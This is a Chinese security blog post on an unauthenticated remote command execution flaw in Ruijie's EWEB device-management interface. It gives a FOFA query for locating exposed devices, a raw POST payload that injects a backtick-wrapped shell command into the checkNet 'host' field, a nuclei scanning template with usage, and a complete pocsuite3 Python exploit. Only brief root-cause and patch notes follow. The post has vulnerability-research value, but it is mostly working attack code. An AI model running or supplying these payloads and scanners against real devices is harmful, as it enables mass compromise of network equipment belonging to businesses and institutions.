锐捷-EWEB-auth-远程命令执行漏洞RCE


一、锐捷EWEB介绍

锐捷EWEB是锐捷网络推出的 一体化Web设备管理平台 ,主要用于网络设备的图形化配置与监控,覆盖无线AC、交换机、网关等产品线。其核心功能包括:

  • 设备管理 :提供图形化界面实现AC模式切换、AP管理、PoE终端监控等操作,支持通过EWEB配置网关旁挂模式、AP Mesh组网等复杂网络拓扑;。
  • 用户体验优化 :针对海外用户推出EWEB 2.0版本,采用拟物化设计(如设备面板灯效模拟)、虚拟控制台(CLI命令行集成)及菜单分类重构,降低技术门槛。
  • 安全增强 :支持HTTPS协议加密访问,保障管理后台的数据传输安全;
  • 智能化运维 :集成PoE终端故障自愈、终端-AP绑定、无线抓包诊断等工具,提升网络稳定性。

目前该平台已适配多类设备,包括6/7系无线AC、NBS/ES系列交换机及EG系列网关,并在2023年升级中扩展了对Wi-Fi 7和跨境电商场景的支持。

锐捷睿易是锐捷网络针对商业市场的子品牌。拥有易网络、交换机、路由器、无线、安全、云服务六大产品线,解决方案涵盖商贸零售、酒店、KTV、网吧、监控安防、物流仓储、制造业、中小教育、中小医疗、中小政府等商业用户。

二、漏洞介绍

auth接口存在RCE漏洞,恶意攻击者可能会利用该漏洞执行恶意命令,进而导致服务器失陷。

三、漏洞复现

3.1 资产查找

Fofa语句:body="cgi-bin/luci" && body="#f47f3e"

查找资产并访问,页面如下:

http://x.x.x.x:yy/cgi-bin/luci/?stamp=123455

3.2 发送payload

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 【ip】:【port】
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
 
{"method":"checkNet","params":{"host":"`echo pwn!>a.txt`"}}

这里反引号包裹的内容即为执行的命令。

命令执行成功的返回结果:

HTTP/1.1 200 OK
Status: 200 OK
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
Date: Thu, 03 Apr 2025 06:41:45 GMT
Server: lighttpd/1.4.35
Content-Length: 71

{ "code": 0, "id": null, "data": { "connect": false }, "error": null }

如果data中返回了"msg": "host illegal"则表明漏洞不存在。

3.3 访问写入的文件

GET /cgi-bin/a.txt HTTP/1.1
Host: 【ip】:【port】
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

响应结果:

HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "1048410149"
Last-Modified: Thu, 03 Apr 2025 06:41:45 GMT
Date: Thu, 03 Apr 2025 06:41:55 GMT
Server: lighttpd/1.4.35
Content-Length: 5

pwn!

命令执行成功。

四、POC

4.1 nuclei模版

锐捷-EWEB-auth-远程命令执行漏洞RCE.yaml

id: ruijie-EWEB-auth-RCE
info:
  name: auth接口存在RCE漏洞
  author: someone
  severity: critical
  description: auth接口存在RCE漏洞,恶意攻击者可能会利用该漏洞执行恶意命令,进而导致服务器失陷。
  reference:
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="cgi-bin/luci" && body="#f47f3e"
  tags: RCE
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /cgi-bin/luci/api/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

        {"method":"checkNet","params":{"host":"`echo {{666}}>{{filename}}.txt`"}}


      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0


    matchers:
      - type: dsl
        dsl:
          - "status_code_2==200 && contains_all(body,'{{666}}')"

使用方法:

  • fofa查询资产,导出host,添加http://头
nuclei -l host.txt -t 锐捷-EWEB-auth-远程命令执行漏洞RCE.yaml
  • 执行结果

命令执行成功。

4.2 pocsuite3-POC【原创】

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
from pocsuite3.lib.core.poc import POCBase, Output
from pocsuite3.lib.core.register import register_poc
from pocsuite3.lib.request import requests


class TestPOC(POCBase):
    vulID = 'sixiaokai-07'
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2024-05-20'
    createDate = '2025-04-03'
    updateDate = '2024-04-03'
    references = ['https://blog.csdn.net/weixin_42277564/article/details/131091907']
    name = '锐捷 EWEB auth 接口远程命令执行漏洞'
    appPowerLink = 'https://www.ruijie.com.cn/'
    appName = '锐捷 EWEB'
    appVersion = '目前不具体,影响范围比较大'
    vulType = 'RCE'
    cyberspace = {'fofa': 'body="cgi-bin/luci" && body="#f47f3e"'}
    samples = ['http://x.x.x.x:81/']
    desc = '''
    锐捷 EWEB auth接口存在RCE漏洞,恶意攻击者可能会利用该漏洞执行恶意命令,进而导致服务器失陷。 
    '''

    def _verify(self):
        result = Output(self)
        target_file = "c.txt"
        test_content = "pwn!"
        vul_path = "/cgi-bin/luci/api/auth"
        check_path = f"{target_file}"

        # 生成唯一标识
        timestamp = str(int(time.time()))

        headers = {
            'Host': self.url.split('//')[1].split('/')[0],
            'Content-Type': 'application/json',
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'
        }

        # 构造双重验证payload
        payload = {
            "method": "checkNet",
            "params": {
                "host": f"`echo {test_content} > {check_path}`"
            }
        }

        try:
            # ========== 第一阶段:命令执行验证 ==========
            post_url = self.url.rstrip('/') + vul_path
            resp_post = requests.post(
                post_url,
                json=payload,
                headers=headers,
                verify=False,
                timeout=15
            )

            # 调试信息
            print(f"[*] POST请求的url: {post_url}")
            print(f"[*] POST请求的payload: {payload}")
            print(f"[*] POST响应状态码: {resp_post.status_code}")
            print(f"[*] POST响应内容: {resp_post.text[:200]}")

            # ========== 第二阶段:文件写入验证 ==========
            time.sleep(2)  # 等待文件写入
            get_url = self.url.rstrip('/') + '/cgi-bin/'+check_path
            resp_get = requests.get(
                get_url,
                headers={
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0'},
                verify=False,
                timeout=15
            )

            # 调试信息
            print(f"[*] 请求路径: {get_url}")
            print(f"[*] GET响应状态码: {resp_get.status_code}")
            print(f"[*] GET响应头: {dict(resp_get.headers)}")
            print(f"[*] 文件内容: {resp_get.text.strip()}")

            # 漏洞存在判定
            if all([
                resp_get.status_code == 200,
                test_content in resp_get.text,
                'lighttpd' in resp_get.headers.get('Server', '')
            ]):
                result.success({
                    '漏洞特征': f"检测到lighttpd服务 ({resp_get.headers.get('Server')})",
                    '文件内容': resp_get.text.strip(),
                    'POST响应': resp_post.text[:100]
                })
            else:
                result.fail("文件验证未通过")

        except Exception as e:
            result.error(f"检测过程中发生异常: {str(e)}")

        return result


register_poc(TestPOC)

效果:

成功检测到漏洞并利用。

五、漏洞分析

找到api.lua文件,找到auth,会调用rpc_auth函数,跟进。

漏洞位置luci/modules/noauth.lua,checkNet函数中如果存在host值时会通过luci.sys.exec 执行命令。

六、修复意见

关注官方更新,及时更新补丁:https://cp.ruijiery.com/


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录